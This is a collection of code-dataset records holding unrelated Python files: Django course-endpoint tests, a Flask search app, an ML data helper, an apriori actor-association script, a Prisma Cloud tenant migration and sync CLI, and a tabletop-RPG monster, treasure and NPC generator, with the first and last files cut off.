end_date=datetime.now(), is_active=True)\n semester.save()\n enrollment = Enrollment(user=user, course=course, semester=semester, meeting_days=\"MWF\", meeting_start_time=datetime.now().time(), meeting_end_time=datetime.now().time(), crn=\"12345\")\n enrollment.save()\n get_instructors = self.client.get('/course/' + course.id + '/instructors/')\n self.assertEqual(get_instructors.status_code, 200)\n json_string = json.loads(get_instructors.content.decode('utf-8'))\n self.assertEqual(json_string[0]['email'], user.email)\n\n def test_get_all_course_students(self):\n course = Course(\"CS4500\", \"Software Dev\", self.department.name)\n course.save()\n user = User(username=\"ek@husky.neu.edu\", email=\"ek@husky.neu.edu\", password=\"password1\")\n user.save()\n semester = Semester(name=\"sem\", start_date=datetime.now(), end_date=datetime.now(), is_active=True)\n semester.save()\n enrollment = Enrollment(user=user, course=course, semester=semester, meeting_days=\"MWF\", meeting_start_time=datetime.now().time(), meeting_end_time=datetime.now().time(), crn=\"12345\")\n enrollment.save()\n get_students = self.client.get('/course/' + course.id + '/students/')\n self.assertEqual(get_students.status_code, 200)\n json_string = json.loads(get_students.content.decode('utf-8'))\n self.assertEqual(json_string[0]['email'], user.email)\n\n def test_get_all_course_sections(self):\n course = Course(\"CS4500\", \"Software Dev\", self.department.name)\n course.save()\n user = User(first_name=\"erik\", last_name=\"kaasila\", username=\"ek@neu.edu\", email=\"ek@neu.edu\", password=\"password1\")\n user.save()\n semester = Semester(name=\"sem\", start_date=datetime.now(), end_date=datetime.now(), is_active=True)\n semester.save()\n enrollment = Enrollment(user=user, course=course, semester=semester, meeting_days=\"MWF\", meeting_start_time=datetime.now().time(), meeting_end_time=datetime.now().time(), crn=\"12345\")\n enrollment.save()\n get_sections = self.client.get('/course/' + course.id + '/sections/')\n self.assertEqual(get_sections.status_code, 200)\n json_string = json.loads(get_sections.content.decode('utf-8'))\n self.assertEqual(json_string[0]['professor'], user.get_full_name())\n","sub_path":"base/tests_course.py","file_name":"tests_course.py","file_ext":"py","file_size_in_byte":5971,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"163280846","text":"from flask import Flask, request, render_template\nfrom search_engine import _search\n\n\napp = Flask(__name__)\n\n@app.route('/', methods=['GET'])\ndef get_home():\n return render_template('home.html')\n\n@app.route('/search', methods=['POST'])\ndef search():\n query = request.form['query']\n hits = _search(search_query=query)\n num = len(hits)\n print(len(hits))\n return render_template('results.html',query=query,hits=hits,num_results=num)\n\nif __name__ == \"__main__\":\n app.run(debug=True)","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":499,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"334731183","text":"from sklearn.datasets import fetch_mldata\n\nclass DataHelper():\n\n def __init__(self):\n pass\n\n @staticmethod\n def label_iris_data(data):\n label=[]\n\n for row in data:\n\n if row[\"class\"]=='Iris-setosa':\n label.append([1,0,0])\n if row[\"class\"]=='Iris-versicolor':\n label.append([0, 1, 0])\n if row[\"class\"]=='Iris-virginica':\n label.append([0, 0, 1])\n\n return label\n\n @staticmethod\n def prepare_digit_data():\n recived_data = fetch_mldata('MNIST original', data_home='C:/Users/michal/PycharmProjects/untitled1/venv/resources/digit_data')\n data=list()\n label=list()\n for i in range(len(recived_data.data)):\n data.append(recived_data.data[i].reshape(28 , 28))\n label.append(recived_data.target[i])\n return data,label\n\n @staticmethod\n def mornalize_input_data(unnormalized_data):\n normalized_data=[]\n unnormalized_data = DataHelper.extract_data(unnormalized_data)\n for row in unnormalized_data:\n temp=[]\n for i in range(len(row)):\n value = (row[i] - min(row)) / (max(row) - min(row))\n temp.append(value)\n normalized_data.append(temp)\n return normalized_data\n\n def extract_data(data):\n to_return=list()\n for i in range(len(data)):\n temp_list=[]\n for key, value in data[i].items():\n if key != \"class\":\n temp_list.append(value)\n\n to_return.append(temp_list)\n return to_return","sub_path":"venv/utils/DataHelper.py","file_name":"DataHelper.py","file_ext":"py","file_size_in_byte":1628,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"565375924","text":"# 参考资料:https://time.geekbang.org/column/article/82943\n\nfrom efficient_apriori import apriori\nimport csv\ndirector = '宁浩'\nfile_name = './'+director+'.csv'\nlists = csv.reader(open(file_name, 'r', encoding='utf-8-sig'))\n\nprint(lists)\n# 数据加载\ndata = []\nfor names in lists:\n name_new = []\n for name in names:\n # 去掉演员数据中的空格\n name_new.append(name.strip())\n data.append(name_new[1:])\n# 挖掘频繁项集和关联规则\nitemsets, rules = apriori(data, min_support=0.5, min_confidence=1)\nprint(itemsets)\nprint(rules)\n\n# 从运行结果可以看出,宁浩导演比较爱用徐峥,并且有徐峥的电影,一定会用黄渤。\n\n# 可以做一个爬春晚的爬虫\n","sub_path":"Association-Analysis/案例:导演如何选择演员/第 2 步:挖掘关联关系.py","file_name":"第 2 步:挖掘关联关系.py","file_ext":"py","file_size_in_byte":733,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"397111245","text":"import json\nimport sys\nfrom loguru import logger\nfrom tqdm import tqdm\nfrom main_scripts import migrate_main, sync_main\nfrom sdk.color_print import c_print\nfrom sdk.load_config import load_config_create_sessions\n\n\n#Build the dictionary used for sync to determin if the module should support the update, add and delete operations\ndef build_module():\n module_dict = {}\n full = input('Do you want to use default operations (Add, Update)? (Y/N): ')\n full = full.lower()\n if full =='y' or full =='yes':\n module_dict.update(add=True)\n module_dict.update(update=True)\n module_dict.update(delete=False)\n return module_dict\n else:\n add = input('Do you want to enable the Add operation? (Y/N): ')\n add = add.lower()\n if add == 'y' or add == 'yes':\n module_dict.update(add=True)\n else:\n module_dict.update(add=False)\n\n up = input('Do you want to enable the Update operation? (Y/N): ')\n up = up.lower()\n if up == 'y' or up =='yes':\n module_dict.update(update=True)\n else:\n module_dict.update(update=False)\n\n del_ = input('Do you want to enable the Delete operation? (Y/N): ')\n del_ = del_.lower()\n if del_ == 'y' or del_ =='yes':\n del_2 = input('Deleted entities are not recoverable. Are you sure you want to enable this operation? (Y/N):')\n del_2 = del_2.lower()\n if del_2 == 'y' or del_2 == 'yes':\n module_dict.update(delete=True)\n else:\n module_dict.update(delete=False)\n else:\n module_dict.update(delete=False)\n\n return module_dict\n\n#Read credentials config file\ndef load_sessions(file_mode: bool, logger):\n '''\n Returns the tenant sessions, config settings, and a flag for same-stack syncing/migration detected.\n '''\n\n tenant_sessions = load_config_create_sessions(file_mode, logger)\n\n tenant_ids = [tenant.prismaId for tenant in tenant_sessions]\n if len(tenant_ids) != len(set(tenant_ids)):\n logger.critical('Duplicate Tenant Detected')\n logger.warning('Make sure source and destination tenants are all unique')\n c_print('Duplicate tenant found. Exiting...', color='red')\n c_print('Make sure your source and destination tenants are all unique.', color='yellow')\n quit()\n\n tenant_urls = [tenant.api_url for tenant in tenant_sessions]\n same_stack = False\n if len(tenant_urls) != len(set(tenant_urls)):\n logger.warning('Same Stack Detected')\n c_print('WARNING: One or more tenants are an the same stack.', color='yellow')\n c_print('Some tenant components may not migrate/sync properly. eg Cloud Accounts.', color='yellow')\n logger.warning('Some tenant components may not migrate/sync properly. eg Cloud Accounts.')\n same_stack = True\n\n return(tenant_sessions, same_stack)\n\n#Read migration settings file\ndef load_migrate_modes():\n try:\n with open('migrate_mode_settings.json', 'r') as f:\n migrate_modes = json.load(f)\n return migrate_modes\n except:\n c_print('migrate_mode_settings.json not found. Generating...', color='yellow')\n print()\n return {}\n\n#Read sync settings file\ndef load_sync_modes():\n try:\n with open('sync_mode_settings.json', 'r') as f:\n sync_modes = json.load(f)\n return sync_modes\n except:\n c_print('sync_mode_settings.json not found. Generating...', color='yellow')\n print()\n return {}\n\n#==============================================================================\n\ndef msg_translate(module):\n msg = ''\n if module =='cloud':\n msg = 'Cloud Acccounts'\n elif module == 'account':\n msg = 'Account Groups'\n elif module == 'resource':\n msg ='Resource Lists'\n elif module == 'role':\n msg = 'User Roles'\n elif module == 'user':\n msg = 'User Profiles'\n elif module =='ip':\n msg = 'Trusted IPs'\n elif module == 'compliance':\n msg = 'Compliance Data'\n elif module == 'search':\n msg = 'Saved Searches'\n elif module == 'policy':\n msg = 'Policies'\n elif module == 'alert':\n msg = 'Alert Rules'\n elif module == 'anomaly':\n msg = 'Anomaly Settings'\n elif module == 'settings':\n msg = 'Enterprise Settings'\n\n return msg\n\n#==============================================================================\n\ndef get_migrate_mode_settings(migrate_modes, module):\n msg = msg_translate(module)\n enabled = input(f'Do you want to migrate {msg}? (Y/N): ')\n enabled = enabled.lower()\n if enabled != 'y' and enabled != 'yes':\n migrate_modes.pop(module)\n print()\n\n return migrate_modes\n\n#==============================================================================\n\ndef get_sync_mode_settings(sync_modes, module):\n msg = msg_translate(module)\n enabled = input(f'Do you want to sync {msg}? (Y/N): ')\n enabled = enabled.lower()\n if enabled == 'y' or enabled == 'yes':\n mode_dict = build_module()\n sync_modes[module]=mode_dict\n else:\n sync_modes.pop(module)\n print()\n\n return sync_modes\n\n#==============================================================================\n\n@logger.catch\ndef main(file_mode, logger):\n print()\n c_print('PRISMA CLOUD TENANT MIGRATION AND CENTRAL MANAGEMENT TOOL', color='blue')\n print()\n\n #Load JWT sessions from credentials.yaml\n tenant_sessions, same_stack = load_sessions(file_mode, logger)\n\n print()\n c_print('You will now be asked a series of questions so you can customize the operations this script will perform.', color='blue')\n c_print('This script supports two main modes, Migration and Sync.The Migration mode is intended to be used when you', color='blue')\n c_print('are copying data from a full tenant to an empty or mostly empty tenant or tenants. The Sync mode is intended', color='blue')\n c_print('to be used when you want to Add, Update, and Delete elements from one or more clone tenants so that those', color='blue')\n c_print('clone tenants will become identical to your source tenant. The Sync mode does a deep search of all involved', color='blue')\n c_print('tenants so that even the smallest change will be detected and reflected across all managed tenants.', color='blue')\n print()\n print()\n\n #Run the script based on user responces to the following prompts\n mode = input('Do you want to MIGRATE or SYNC? (M/S): ')\n print()\n\n #Select migrate mode or sync mode\n mode = mode.lower() \n if mode == 'm' or mode == 'migrate':#--------------------------------------------------\n #Optional used saved settings file\n migrate_modes_file = load_migrate_modes()\n if migrate_modes_file:\n c_print('Loading from saved settings will allow you to run the script with the same settings as the last time it was ran.', color='blue')\n c_print('If you wish to use the same settings as last time, then select \\'Yes\\'. If you wish to configure the script to', color='blue')\n c_print('run with new settings, then select \\'No\\'', color='blue')\n print()\n choice = input('Do you want to use the saved migration mode settings? (Y/N): ')\n print()\n choice = choice.lower()\n if choice == 'y' or choice == 'yes':\n #Call migrate module\n migrate_main.migrate(tenant_sessions, migrate_modes_file, logger)\n return\n\n #Get migration settings from the user\n c_print('A full migration will migrate all components of the Prisma Cloud Tenant that are supported by this script.', color='blue')\n c_print('Selecting \\'No\\' will allow you to customize which components are migrated.', color='blue')\n print()\n migrate_type = input('Do you want to do a full migration? (Y/N): ')\n print()\n migrate_type = migrate_type.lower()\n\n migrate_modes = {\n 'cloud': {},\n 'account': {},\n 'resource': {},\n 'role': {},\n 'user': {},\n 'ip': {},\n 'compliance': {},\n 'search': {},\n 'policy': {},\n 'alert': {},\n 'anomaly': {},\n 'settings': {}\n }\n \n if migrate_type == 'y' or migrate_type == 'yes':\n #Dump settings to file\n with open('migrate_mode_settings.json', 'w') as outfile:\n json.dump(migrate_modes, outfile)\n\n #Call migrate module\n migrate_main.migrate(tenant_sessions, migrate_modes, logger)\n return\n else:\n migrate_modes = get_migrate_mode_settings(migrate_modes, 'cloud')\n migrate_modes = get_migrate_mode_settings(migrate_modes, 'account')\n migrate_modes = get_migrate_mode_settings(migrate_modes, 'resource')\n migrate_modes = get_migrate_mode_settings(migrate_modes, 'role')\n migrate_modes = get_migrate_mode_settings(migrate_modes, 'user')\n migrate_modes = get_migrate_mode_settings(migrate_modes, 'ip')\n migrate_modes = get_migrate_mode_settings(migrate_modes, 'compliance')\n migrate_modes = get_migrate_mode_settings(migrate_modes, 'search')\n migrate_modes = get_migrate_mode_settings(migrate_modes, 'policy')\n migrate_modes = get_migrate_mode_settings(migrate_modes, 'alert')\n migrate_modes = get_migrate_mode_settings(migrate_modes, 'anomaly')\n migrate_modes = get_migrate_mode_settings(migrate_modes, 'settings')\n \n #Dump settings to file\n with open('migrate_mode_settings.json', 'w') as outfile:\n json.dump(migrate_modes, outfile)\n\n #Call migrate module\n migrate_main.migrate(tenant_sessions, migrate_modes, logger)\n return\n\n else:#---------------------------------------------------------------------------------\n #Optional used saved settings file\n sync_modes_file = load_sync_modes()\n if sync_modes_file:\n c_print('Loading from saved settings will allow you to run the script with the same settings as the last time it was ran.', color='blue')\n c_print('If you wish to use the same settings as last time, then select \\'Yes\\'. If you wish to configure the script to', color='blue')\n c_print('run with new settings, then select \\'No\\'', color='blue')\n print()\n choice = input('Do you want to use the saved sync mode settings? (Y/N): ')\n print()\n choice = choice.lower()\n if choice == 'y' or choice == 'yes':\n #Call sync module\n sync_main.sync(tenant_sessions, sync_modes_file, logger)\n return\n\n c_print('A full sync will do Add and Update operations on all components of the Prisma Cloud Tenant that are supported by this script.', color='blue')\n c_print('Selecting \\'No\\' will allow you to customize the components that are synced and the operations that are performed.', color='blue')\n print()\n migrate_type = input('Do you want to do a full Sync? (Y/N): ')\n print()\n migrate_type = migrate_type.lower()\n\n sync_modes = {\n 'cloud': {},\n 'account': {},\n 'resource': {},\n 'role': {},\n 'user': {},\n 'ip': {},\n 'compliance': {},\n 'search': {},\n 'policy': {},\n 'alert': {},\n 'anomaly': {},\n 'settings': {}\n }\n\n if migrate_type == 'y' or migrate_type == 'yes':\n #Dump settings to file\n with open('sync_mode_settings.json', 'w') as outfile:\n json.dump(sync_modes, outfile)\n\n #Call sync module\n sync_main.sync(tenant_sessions, sync_modes, logger)\n return\n else:\n sync_modes = get_sync_mode_settings(sync_modes, 'cloud')\n sync_modes = get_sync_mode_settings(sync_modes, 'account')\n sync_modes = get_sync_mode_settings(sync_modes, 'resource')\n sync_modes = get_sync_mode_settings(sync_modes, 'role')\n sync_modes = get_sync_mode_settings(sync_modes, 'user')\n sync_modes = get_sync_mode_settings(sync_modes, 'ip')\n sync_modes = get_sync_mode_settings(sync_modes, 'compliance')\n sync_modes = get_sync_mode_settings(sync_modes, 'search')\n sync_modes = get_sync_mode_settings(sync_modes, 'policy')\n sync_modes = get_sync_mode_settings(sync_modes, 'alert')\n sync_modes = get_sync_mode_settings(sync_modes, 'anomaly')\n sync_modes = get_sync_mode_settings(sync_modes, 'settings')\n\n #Dump settings to file\n with open('sync_mode_settings.json', 'w') as outfile:\n json.dump(sync_modes, outfile)\n\n #Call sync module\n sync_main.sync(tenant_sessions, sync_modes, logger)\n return\n\n\nif __name__ =='__main__':\n #Command line arguments\n file_mode = False\n terminal_logging = True\n \n args = [el.lower() for el in sys.argv]\n\n if '-yaml' in args:\n file_mode = True\n\n if '-quiet' in args:\n terminal_logging = False\n\n #Configure logging output\n logger.remove()\n\n if terminal_logging:\n logger.level(\"BAR\", no=4)\n else:\n logger.level(\"BAR\", no=51)\n\n logger.add(lambda msg: tqdm.write(msg, end=\"\"), colorize=True, level='BAR')\n logger.add('logs/{time:DD-MM-YYYY_HH:mm:ss}.log', level='TRACE')\n\n #Call main function\n main(file_mode, logger)\n\n #TODO Maybe run a clean up script and delete credentails files\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":13838,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"181995147","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Apr 4 10:21:25 2015\n\n@author: Simon\n\"\"\"\nfrom time import strftime\nimport sys\nimport random as rd\n\ndef read_config(file_name):\n \"\"\"Function that reads the config of given filename, returns dict\"\"\"\n return_dict = dict()\n temp_list = list()\n with open(\"../resources/cfg/{}.cfg\".format(file_name), \"r\") as config_file:\n for line in config_file:\n if \"{\" in line:\n name = line.split(\"{\")[0]\n elif \"}\" in line:\n return_dict[name] = temp_list\n temp_list = []\n else:\n if \";\" in line:\n line = line.split(\"\\n\")[0]\n to_append = line.split(\";\")\n else:\n to_append = line.split(\"\\n\")[0]\n temp_list.append(to_append)\n del to_append\n return return_dict\n\ndef method_once(method): #http://code.activestate.com/recipes/425445-once-decorator/\n \"\"\"A decorator that runs a method only once.\"\"\"\n attrname = \"_%s_once_result\" % id(method)\n def decorated(self, *args, **kwargs):\n \"\"\"function decorated\"\"\"\n try:\n return getattr(self, attrname)\n except AttributeError:\n setattr(self, attrname, method(self, *args, **kwargs))\n return getattr(self, attrname)\n return decorated\n\ndef log(message, first_time=False):\n \"\"\"\n Rewrites stdout and stderr to corresponding log files\n \n Use instead of print() for debug\n \"\"\"\n message = str(message)\n try:\n log_out = open(\"stdout.log\", \"a\")\n except FileNotFoundError:\n pass\n except IOError:\n pass\n finally:\n if first_time:\n sys.stderr = log_out\n log_string = \"\\n--------------\\n{0}\\n--------------\\n\".format(strftime(\"%A %d %B %Y %H:%M:%S\"))\n log_out.write(log_string)\n else:\n log_out.write(\"\\n[{0}] {1}\".format(strftime(\"%H:%M:%S\"), message))\n\ndef get_monster_dict():\n \"\"\"\n Method to return a dict of all the available monsters. Reads the resource/cfg/monsters.cfg file to fill the dict.\n\n Formatted entry in monsters.cfg:\n monster_name{\n environment_name\\n\n life\\n\n ac\\n\n movement\\n\n attacks\\n\n damages\\n\n number_met\\n\n saves\\n\n moral\\n\n treasure\\n\n alignment\\n\n xp_value\\n\n }\n \"\"\"\n monster_dict={}\n name=\"\"\n value={} \n\n stats=[\"environment\",\"life\", \"ac\", \"movement\", \"attacks\", \"damages\", \"number_met\", \"saves\", \"moral\", \"treasure\", \"alignment\", \"xp_value\"]\n for stat in stats:\n value[stat] = \"\"\n i = 0\n\n with open(\"../resources/cfg/monster.cfg\", \"r\") as monster_config:\n for line in monster_config:\n if \"{\" in line:\n name = line.strip(\"{\")\n elif \"}\" in line:\n monster_dict[name]=value\n i = 0\n for stat in stats:\n value[stat] = \"\"\n name = \"\"\n else:\n line.split(\"\\n\")[0]\n value[stats[i]] = line\n i += 1 \n return monster_dict\n\ndef get_random_encounters_table(monster_dict, environment):\n list_encounters=[\"\"]*12\n monsters_that_can_be_picked=[]\n for name, stats in monster_dict.items():\n if stats[\"environment\"] == environment:\n monsters_that_can_be_picked.append(name)\n for i in range(12):\n try:\n list_encounters[i] = rd.choice(monsters_that_can_be_picked)\n monsters_that_can_be_picked.pop(monsters_that_can_be_picked.index(list_encounters[i]))\n except IndexError:\n list_encounters[i] = \"None\"\n return list_encounters\n\ndef get_a_monster(list_encounters, chance_encounter):\n dice = rd.randint(1,12)\n chance = rd.randint(1,100)\n if chance <= chance_encounter:\n return list_encounters[dice]\n else:\n return \"No Monster Met\"\n\ndef get_a_monster_stats(monster_dict, name):\n #stats=[\"environment\",\"life\", \"ac\", \"movement\", \"attacks\", \"damages\",\\\n #\"number_met\", \"saves\", \"moral\", \"treasure\", \"alignment\", \"xp_value\"]\n try:\n assert name != \"No Monster Met\", \"no monster met, no stat to retrieve\"\n except AssertionError:\n return (\"_\")*15\n stats_of_monster = monster_dict[name]\n \n #Getting the life points of monster : life => 3d6-1 => (3 x 6-sided dices) minus 1\n life = dice_roll(stats_of_monster[\"life\"])\n ac = stats_of_monster[\"ac\"] #Getting the Armor Class (AC)\n movement = stats_of_monster[\"movement\"] #Getting the movement value\n attacks = stats_of_monster[\"attacks\"]\n damages = stats_of_monster[\"damages\"]\n number_met = dice_roll(stats_of_monster[\"number_met\"])\n save_poison = stats_of_monster[\"saves\"].split(\";\")[0]\n save_wands = stats_of_monster[\"saves\"].split(\";\")[1]\n save_paralysis = stats_of_monster[\"saves\"].split(\";\")[2]\n save_dragon = stats_of_monster[\"saves\"].split(\";\")[3]\n save_spells = stats_of_monster[\"saves\"].split(\";\")[4]\n moral = stats_of_monster[\"moral\"]\n treasure = stats_of_monster[\"treasure\"]\n alignment = stats_of_monster[\"alignment\"]\n xp_value = stats_of_monster[\"xp_value\"]\n return life, ac, movement, attacks, damages, number_met, save_poison, save_wands,\\\n save_paralysis, save_dragon, save_spells, moral, treasure, alignment, xp_value\n\ndef dice_roll(xdypz):\n \"\"\"returns the result of a roll of dices in the form of a string \"xdy+z\" or \"xdy-z\" or \"xdy\" \"\"\"\n number_of_dices = int(xdypz.split(\"d\")[0])\n if \"+\" in xdypz:\n sides_of_dice = int(xdypz.split(\"d\")[1].split(\"+\")[0])\n modifier_of_dice = int(xdypz.split(\"d\")[1].split(\"+\")[1])\n elif \"-\" in xdypz:\n sides_of_dice = int(xdypz.split(\"d\")[1].split(\"-\")[0])\n modifier_of_dice = int(xdypz.split(\"d\")[1].split(\"-\")[1]) *(-1)\n else:\n sides_of_dice = int(xdypz.split(\"d\")[1])\n modifier_of_dice = 0\n\n temp=[]\n for i in range(number_of_dices):\n temp.append(rd.randint(1,sides_of_dice))\n return sum(temp)+modifier_of_dice\n\ndef get_treasure(treasure_value, has_magic_items=False, has_gems=True, has_jewels=True):\n treasure_value = round(rd.gauss(treasure_value,treasure_value/(rd.random()*10)), 2)\n treasure = {}\n if has_magic_items:\n treasure[\"magic_items\"] = pick_magic_items()\n treasure_value = round(rd.random()*treasure_value, 2)\n if has_gems:\n rand = rd.uniform(0.2, 0.5)\n treasure[\"gems\"] = pick_gems(treasure_value*rand)\n treasure_value = (1 - rand) * treasure_value\n if has_jewels:\n rand = rd.uniform(0.1, 0.3)\n treasure[\"jewels\"] = pick_jewels(treasure_value*rand)\n treasure_value = (1 - rand) * treasure_value\n treasure_value = rd.uniform(0.4, 0.6) * treasure_value\n pp, gp, ep, sp, cp = get_treasure_coins(treasure_value)\n treasure[\"pieces\"] = [pp, gp, ep, sp, cp]\n return treasure\n\ndef get_treasure_coins(treasure_value):\n float_part = (treasure_value-int(treasure_value))*100\n int_part = int(treasure_value)\n pp = int_part // 5\n gp = int_part - pp\n ep = float_part // 50\n float_part -= ep\n sp = float_part // 10\n cp = round(float_part - sp, 0)\n return int(pp), int(gp), int(ep), int(sp), int(cp)\n\ndef pick_magic_items(odds={\"scroll\":30,\"weapons\":5,\"potions\":50,\"ring\":10,\"other\":5,\"wand\":10}):\n has_item = {}\n magic_items = read_config(\"magic_items\")\n for key, value in odds.items(): \n if rd.randint(1,100)<=odds[key]:\n has_item[key] = True\n else:\n has_item[key] = False\n temp_list = []\n if has_item[\"scroll\"]:\n temp_list.append(rd.choice(magic_items[\"scroll\"]))\n if has_item[\"weapons\"]:\n temp_list.append(rd.choice(magic_items[\"weapons\"]))\n if has_item[\"potions\"]:\n temp_list.append(rd.choice(magic_items[\"potions\"]))\n if has_item[\"ring\"]:\n temp_list.append(rd.choice(magic_items[\"ring\"]))\n if has_item[\"other\"]:\n temp_list.append(rd.choice(magic_items[\"other\"]))\n if has_item[\"wands\"]:\n temp_list.append(rd.choice(magic_items[\"wands\"]))\n return temp_list\n\ndef pick_gems(treasure_value):\n gems = read_config(\"gems\")\n gem_quality = []\n gem_type = []\n for i in range(int(treasure_value//300)):\n gem_quality.append(rd.choice(gems[\"gem_quality\"]))\n gem_type.append(rd.choice(gems[\"gem_type\"]))\n gems = []\n assert len(gem_type) == len(gem_quality)\n for i in range(len(gem_type)):\n gems.append((gem_quality[i][0] + \" \" + gem_type[i][0], int(gem_quality[i][1]) + int(gem_type[i][1])))\n return gems\n\ndef pick_jewels(treasure_value):\n jewels = read_config(\"jewels\")\n jewel_quality = []\n jewel_material = []\n jewel_type = []\n for i in range(int(treasure_value // 250)):\n jewel_quality.append(rd.choice(jewels[\"jewel_quality\"]))\n jewel_type.append(rd.choice(jewels[\"jewel_type\"]))\n jewel_material.append(rd.choice(jewels[\"jewel_material\"]))\n jewels = []\n assert len(jewel_material) == len(jewel_quality) == len(jewel_type)\n for i in range(len(jewel_type)):\n jewels.append((jewel_quality[i][0] + \" \" + jewel_material[i][0] + \" \" + jewel_type[i][0], int(jewel_material[i][1]) +\\\n int(jewel_quality[i][1]) + int(jewel_type[i][1])))\n return jewels\n\ndef class_differenciation(class_, race, characteristics):\n base_xp = 0\n main_char = {\"class\":0,\"race\":0}\n if class_ == \"Warrior\":\n base_xp += 2000\n main_char[\"class\"] = int(characteristics[\"str\"])\n elif class_ == \"Wizard\":\n base_xp += 2500\n main_char[\"class\"] = int(characteristics[\"int\"])\n elif class_ == \"Cleric\":\n base_xp += 1500\n main_char[\"class\"] = int(characteristics[\"wis\"])\n elif class_ == \"Thief\":\n base_xp += 1200\n main_char[\"class\"] = int(characteristics[\"dex\"])\n else:\n base_xp += 0\n if race == \"Human\":\n base_xp += 0\n main_char[\"race\"] = int(characteristics[\"cha\"])\n elif race == \"Elf\":\n base_xp += 1500\n main_char[\"race\"] = int(characteristics[\"str\"])\n elif race == \"Dwarf\":\n base_xp += 500\n main_char[\"race\"] = int(characteristics[\"con\"])\n elif race == \"Halfelin\":\n base_xp += 800\n main_char[\"race\"] = int(characteristics[\"dex\"])\n return base_xp, main_char\n\ndef get_remaining_xp(base_xp, level, xp_total):\n return (int(base_xp) * int(level)) - int(xp_total)\n\ndef get_bonus_xp(main_char):\n bonus_percentage = 0\n if 16 <= main_char[\"class\"] <= 18:\n bonus_percentage += 5\n elif 13 <= main_char[\"class\"] <= 15:\n bonus_percentage += 0\n elif 9 <= main_char[\"class\"] <= 12:\n bonus_percentage -= 5\n elif 3 <= main_char[\"class\"] <= 8:\n bonus_percentage -= 10\n else:\n bonus_percentage = 0\n\n if 16 <= main_char[\"race\"] <= 18:\n bonus_percentage += 5\n elif 13 <= main_char[\"race\"] <= 15:\n bonus_percentage += 0\n elif 9 <= main_char[\"race\"] <= 12:\n bonus_percentage -= 5\n elif 3 <= main_char[\"race\"] <= 8:\n bonus_percentage -= 10\n else:\n bonus_percentage = 0\n return bonus_percentage\n\ndef add_xp(xp_to_add, class_, race, characteristics, level, current_xp):\n base_xp, main_char = class_differenciation(class_, race, characteristics)\n bonus = get_bonus_xp(main_char)\n try:\n xp_to_add = int(xp_to_add)\n except ValueError:\n xp_to_add = 0\n finally:\n xp_total = current_xp\n xp_total += xp_to_add * (1 + bonus/100)\n xp_to_add = 0\n remaining_xp = get_remaining_xp(base_xp, level, xp_total)\n if xp_total >= remaining_xp:\n level += 1\n return level, xp_total\n\ndef roll_characteristics(freeze=True):\n characteristics = {\"str\":0,\"int\":0,\"wis\":0,\"dex\":0,\"con\":0,\"cha\":0}\n if not freeze:\n for char, value in characteristics.items():\n characteristics[char] = rd.randint(1, 6) + rd.randint(1, 6) + rd.randint(1, 6)\n return characteristics\n\ndef generate_npc(alignment, gender, race, class_, level, stats):\n characteristics = {\"str\":0,\"int\":0,\"wis\":0,\"dex\":0,\"con\":0,\"cha\":0}\n npc_dict = read_config(\"npc-gen\")\n if \"Any\" in alignment:\n try:\n assert alignment != \"Any\"\n alignment = alignment.split(\" \")[1] + \" \" + rd.choice([\"Good\", \"Neutral\", \"Evil\"])\n except AssertionError:\n alignment = rd.choice([\"Lawful\", \"Neutral\", \"Chaotic\"]) + \" \" + rd.choice([\"Good\", \"Neutral\", \"Evil\"])\n if gender == \"Any\":\n gender = rd.choice([\"Male\", \"Female\"])\n if race == \"Any\":\n race = rd.choice([\"Human\", \"Elf\", \"Dwarf\", \"Halfelin\"])\n if class_ == \"Any\":\n class_ = rd.choice([\"Warrior\", \"Wizard\", \"Thief\", \"Cleric\"])\n if stats == \"Best 3 of 5d6\":\n for stat, stat_value in characteristics.items():\n dice_rolls=[]\n for i in range(5):\n dice_rolls.append(rd.randint(1,6))\n characteristics[stat] = sum(sorted(dice_rolls)[2:])\n elif stats == \"Low\":\n for stat, stat_value in characteristics.items():\n dice_rolls=[]\n dice_rolls.append(rd.randint(1,6))\n dice_rolls.append(rd.randint(1,6))\n characteristics[stat] = sum(dice_rolls)\n elif stats == \"Average\":\n for stat, stat_value in characteristics.items():\n characteristics[stat] = 6 + rd.randint(1,8)\n else:\n for stat, stat_value in characteristics.items():\n characteristics[stat] = 12 + rd.randint(1,6)\n\n name = get_npc_name(npc_dict, race, gender)\n languages = get_npc_languages(npc_dict, characteristics[\"int\"], race, alignment)\n beliefs = get_npc_beliefs(npc_dict, alignment)\n recent_past, motivation = get_npc_motivation(npc_dict)\n npc_ac, belongings = get_npc_belongings(npc_dict, level)\n life = dice_roll(\"{}d6+2\".format(level))\n\n string_to_return = \\\n \"\"\"{}, {} {} {}, level {}, {} HP, {} AC\\n\n Alignment : {}, believes in : {}\\n\n Stats : \\tSTR : {}\\n\n \\t\\tINT : {}\\n\n \\t\\tWIS : {}\\n\n \\t\\tDEX : {}\\n\n \\t\\tCON : {}\\n\n \\t\\tCHA : {}\\n\n \\n\n Language(s) spoken : {}\\n\n \\n\n Belongings : {}\\n\n \\n\n Motivation : {}\\n\n \\n\n Recent Past : {}\\n\n \"\"\".format(name.capitalize(), gender, class_, race, level, life, npc_ac, alignment, beliefs,\\\n characteristics[\"str\"], characteristics[\"int\"], characteristics[\"wis\"],\\\n characteristics[\"dex\"], characteristics[\"con\"], characteristics[\"cha\"],\\\n languages, belongings, motivation, recent_past)\n return string_to_return\n\ndef get_npc_name(npc_dict, race, gender):\n race = race.lower()\n gender = gender.lower()\n names = npc_dict[\"{}_names\".format(race)]\n preffixes = []\n intermediate = []\n suffixes = []\n if gender is \"male\" or gender is \"m\":\n gender = \"m\"\n else:\n gender = \"f\"\n for value_lists in names:\n if value_lists[0] == \"{}pre\".format(gender):\n preffixes.append(value_lists[1])\n else:\n preffixes.append(value_lists[1])\n if \"{}suf\".format(gender) == value_lists[0]:\n suffixes.append(value_lists[1])\n else:\n suffixes.append(value_lists[1])\n if \"{}in\".format(gender) == value_lists[0]:\n intermediate.append(value_lists[1])\n else:\n intermediate.append(\"\")\n return 